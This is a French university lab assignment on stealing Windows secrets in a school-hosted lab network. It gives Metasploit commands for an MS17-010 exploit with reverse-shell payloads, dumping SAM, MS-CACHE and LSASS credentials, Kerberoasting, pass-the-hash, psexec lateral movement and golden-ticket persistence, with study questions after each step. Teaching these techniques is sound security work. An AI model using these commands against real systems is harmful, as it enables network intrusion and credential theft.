Labo 02 – Windows – Vol de secrets

1. Introduction

L'objectif de ce laboratoire est de mettre en pratique plusieurs attaques sur les mots de passe Windows.

1. Rendu attendu

Ce laboratoire doit être réalisé **par groupe sauf dérogation exceptionnelle de l'équipe enseignante.**
Un rapport répondant **de manière détaillée** aux questions posées dans ce document doit être remis à la fin du travail.
Les questions qui sont suivies du symbole ◉ doivent contenir une copie d'écran ou un extrait de la sortie de la console pour illustrer la réponse.

Le rapport au format **PDF** doit être rendu sur cyberlearn : https://cyberlearn.hes-so.ch/mod/assign/view.php?id=1856134

Chaque jour de retard réduira la note d'un point.

NB : **respectez la numérotation des questions** dans votre rapport même s'il y a des sauts dans la numérotation.

2. Infrastructure

Les machines de laboratoire sont hébergées sur l'infrastructure de l'école et sont **accessibles via le VPN**. Elles seront accessibles et opérées en continues par l'équipe enseignante pendant la durée du laboratoire. Elles seront également accessibles jusqu'à la date de rendu, mais sans supervision continue et elles seront probablement redémarrées tous les soirs. En cas de problème pendant cette période, merci de le rapporter via le forum cyberlearn : https://cyberlearn.hes-so.ch/mod/forum/view.php?id=1856080.

Pour réaliser le labo vous pouvez utiliser votre VM Linux utilisée jusqu'ici et disponible sur le share : https://cyberlearn.hes-so.ch/mod/url/view.php?id=1856083.

La machine d'attaque contient les outilsn **map**, **john** et **metasploit** nécessaires pour le labo :

- Compte attaquant = **sos:motdepasse**
- La VM attaquant a été testée sur **VMWare Workstation**

Vous aurez également besoin des ressources supplémentaires suivantes :

kerberoast.psm1	https://beta.hackndo.com/kerberoasting/
rockyou.txt	https://cyberpratibha.medium.com/rockyou-wordlist-kali-location-and-uses-96100fb1372

Vous trouverez également sur cyberlearn des guides pour certaines configurations techniques un peu délicates : https://cyberlearn.hes-so.ch/mod/folder/view.php?id=1856085.

NB : **Vous partagez TOUS les mêmes machines victimes. Vous êtes donc priés de NETTOYER ce que vous déposez/modifiez sur ces machines IMMEDIATEMENT APRES VOTRE ATTAQUE.**

3. Réalisation

3.1. Reconnaissance

- Lancer Metasploit, créer un nouveau workspace et effectuer une reconnaissance du réseau 10.192.72.0/27.

```
msfc
workspace -a groupe_x
db_nmap -Pn -n -F 10.192.72.0/27 --open
```

- Utiliser le module *smb_version* afin d'obtenir plus d'informations sur les machines Windows.

```
use auxiliary/scanner/smb/smb_version
services -p 445 -R
run
```

Questions:

P1: Expliquer l'utilité de l'argument -Pn et dans quelles circonstances est-ce qu'il s'utilise ?
P2: Quel est le contrôleur de domaine ? Comment pouvez-vous le déterminer (2 façon distinctes)?

3.2. Exploitation de vulnérabilités logicielles

- Rechercher d'éventuelles machines vulnérables à MS17-010.

```
use auxiliary/scanner/smb/smb_ms17_010
services -p 445 -R
run
```

- Exploiter la vulnérabilité sur l'une des machines vulnérables afin d'en prendre le contrôle.

```
use exploit/windows/smb/ms17_010_psexec
set RHOSTS [target_ip]
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
set LPORT 133[X]
run
```

Questions:

P4: Quels sont les droits d'exécution que vous obtenez ? ◉
P5: Comment expliquer que vous disposez d'autant de privilège ?
P6: Quel processus exécute votre *meterpreter* sur la machine victime (pid+nom) ? ◉
P7: Quelle est la différence entre la version *reverse_tcp* et *bind_tcp* de *meterpreter* ?
P8: Dans quelle situation est-il recommandé d'utiliser la version *reverse_tcp* ?
P9: Dans la sortie de l'exécution, la notion de *stage* apparait, de quoi s'agit-il ? ◉

3.3. Vol de credentials

- Récupérer autant de mots de passe que possible sur la machine exploitée et notamment ceux stockés aux emplacements suivants :
  - SAM (*module msf* > *post/windows/gather /hashdump*)
  - MS-CACHE (*module msf* > *post/windows/gather /cachedump*)
  - LSASS (*extension meterpreter* > *load kiwi ; creds_all*)

- Cracker le mot de passe du compte à l'aide de john the ripper (Jumbo version).

```
john --session=[session] --wordlist=[your_path]/rockyou.txt --
format=[try_those_relevant] [your_path]/[hash_file]
```

- Tester si les mots de passe découverts peuvent être réutilisés sur d'autres machines ?

```
use auxiliary/scanner/smb/smb_login
set SMBUser [username]
set SMBPass [pass]
set SMBDomain [domain] (ou unset SMBDomain si N/A)
services -p 445 -R
run
```

Questions:

P10: Quels sont les formats de hash utilisés pour stocker les mots de passe dans la SAM ? A quoi correspondent les différentes parties ? ◉

P11: Comment expliquer que plusieurs comptes partagent les mêmes hashs ?

P12: Quel est le format de hash utilisé pour stocker les hashes MS-CACHE ? A quoi correspondent les différentes parties ? ◉

P13: A quoi correspond le compte qui se termine par un $ retrouvé dans la mémoire de LSASS ? ◉

P14: Quel/s compte/s devriez-vous pouvoir utiliser sur d'autres machines ? ◉

3.4. Kerberoast

- Migrer la session *meterpreter* de la machine compromise sur un utilisateur du domaine.

```
load incognito
list_tokens –u
impersonate_token SOS\\[domain_user]
```

- Rechercher les SPN (Service Principal Name) disponibles sur le domaine depuis la session *meterpreter* de la machine compromise.

```
shell
setspn -T SOS.local -Q */*
```

- Installer le module kerberoasts.psm1 fourni sur la machine compromise depuis la session *meterpreter*.

```
exit
cd \\users\\[domain_user]\\Documents
mkdir WindowsPowershell
cd WindowsPowershell
mkdir Modules
cd Modules
mkdir Kerberoast
upload [your_path]/kerberoast.psm1 Kerberoast
```

- Lancer l'attaque kerberoast pour récupérer les tickets Keberos TGS pour les SPN.

```
cd \\users\\[domain_user]
shell
cd Documents
powershell -command "import-module kerberoast; Invoke-Kerberoast"
```

- Relancer l'attaque kerberoast pour récupérer les hashes des tickets TGS.

```
powershell -command "import-module kerberoast; Invoke-Kerberoast -
OutputFormat john | Select-Object -ExpandProperty hash |%
{$_.replace(':',':$krb5tgs$23$')} | Out-File -Width 5000 -Encoding UTF8
.\[hash_file]"
exit
download [hash_file] [your_path]/.
```

- Cracker le mot de passe des comptes SPN à l'aide de john the ripper (Jumbo version).

```
/opt/john/run/john --session=[session] --wordlist=[your_path]/rockyou.txt
[your_path]/[hash_file]
```

- Tester si les mots de passe découverts peuvent être réutilisés ?

```
use auxiliary/scanner/smb/smb_login
set SMBUser [username]
set SMBPass [pass]
set SMBDomain [domain]
services -p 445 -R
run
```

Questions:

P19: Quel compte avez-vous utilisé pour exécuter l'attaque kerberoast ? Pourquoi ?
P20: Illustrer le résultat obtenu et expliquer le contenu des entrées retournées par setspn et kerberoast ? ◉
P21: Quel est/sont les SPN complet/s vulnérable/s ?
P22: Quel est/sont le/s compte/s de domaine associé/s à ce/s SPN/s ?
P23: Est-ce que ce/s compte/s est utilisable sur l'une ou plusieurs des machines ? Lesquelles ?

NB : Rappel, nettoyez vos traces sur les machines que vous avez modifiées !!!

3.5. Mouvements latéraux

- Utiliser le module *psexec* afin de prendre le contrôle (*meterpreter*) du serveur en réutilisant les couples (utilisateur, mot depasse) que vous avez découverts.

```
use exploit/windows/smb/psexec
set RHOSTS [target_ip]
set SMBUSer [username]
set SMBPass [password]
set SMBDomain [domain] (ou unset SMBDomain si N/A)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

- Faites une attaque de type pass the hash afin de prendre le contrôle (*meterpreter*) du serveur.

```
use exploit/windows/smb/psexec
set RHOSTS [target_ip]
set SMBUSer [username]
set SMBPass [lmhash]:[ntlm_hash]
set SMBDomain [domain] (ou unset SMBDomain si N/A)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

- Voler les mots de passe du serveur en utilisant les différents modules d'extraction (SAM/LSASS).

- Trouver un moyen de prendre le contrôle du contrôleur de domaine.

😉

- Extraire tous les comptes du domaine.

```
"use some smart hashdump"
```

Questions:

P24: Quels sont les privilèges requis pour l'utilisation de *psexec* ?
P25: Quelle vulnérabilité exploitez-vous pour rebondir sur le serveur ?
P26: Comment avez-vous pu récupérer un compte du domaine sur le serveur ? ◉
P27: Quelles sont les actions qui justifient l'utilisation d'un compte « Domain Admins » ?
P28: Comment éviter qu'un de ces comptes puisse être volés ?

3.6. Persistance

- Monter une session *meterpreter* sur le desktop pour un utilisateur de domaine compromis dans les étapes précédentes.

```
use exploit/windows/smb/psexec
set RHOSTS [target_ip]
set SMBUSer [username]
set SMBPass [password]
set SMBDomain [domain]
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

- Récupérer le SID du domaine de cet utilisateur avec la commande *whoami*

```
shell
whoami /all
exit
```

- Depuis un session meterpreter autorisée sur le desktop, migrer dans le processus « **timeout** » appartenant au compte *lab**NN*** (remplacer ***NN*** par votre numéro de groupe) et utilisez *getuid* pour vérifier l'opération.

```
migrate [PID]
getuid
```

- Nettoyer le contenu du cache Kerberos

```
load kiwi
kiwi_cmd kerberos::purge
```

- Lancer une invite de commandes Windows avec *shell* et essayer de monter le disque C du contrôleur de domaine

```
shell
net use x: \\[ domain controller]\c$
exit
```

- Utiliser le hash du compte *krbtgt* récupéré en 3.5 afin de générer un golden ticket à l'aide de *mimikatz.* Utiliser un nom d'utilisateur reconnaissable qui ne fait pas partie du domaine.

```
load kiwi
golden_ticket_create -d [domain_name] -u [username] -s [domain_sid] -k [krbtgt_hash] -t golden_ticket.kirbi
```

- Injecter le ticket généré dans votre session utilisateur

```
kerberos_ticket_use golden_ticket.kirbi
```

```
kerberos_ticket_list
```

- Réessayer de monter le partage Windows du contrôleur de domaine

```
shell
net use x: \\[domain controller]\c$
exit
```

- Accéder aux logs de connexion du contrôleur de domaine en PowerShell en utilisant le golden ticket injecté :

```
load powershell
powershell_shell
Get-EventLog -LogName Security -ComputerName SOS-DC01 -Newest 30 | Where-Object {$_.EventID -eq 4624} | Select-Object -Property TimeGenerated, EventID,@{Label="Username";Expression={$_.replacementstrings[5]}}
Exit (ou <ctrl-c> + delete channel)
```

Questions:

P29: Pourquoi migrer dans un processus appartenant à l'utilisateur *LabNN* ?

P30: Qu'est-ce qui se passe quand vous essayez de monter le partage la première fois ? Qu'est-ce qui se passe la seconde fois ? Comment expliquer cette différence ? ◉

P31: Localiser l'événement d'authentification généré avec le Golden Ticket dans les logs du DC ◉

P32: Combien de temps est valable le golden ticket que vous avez généré ?

P33: Qu'est-ce que l'administrateur du domaine doit faire s'il détecte qu'un attaquant a compromis le hash du compte krbtgt ?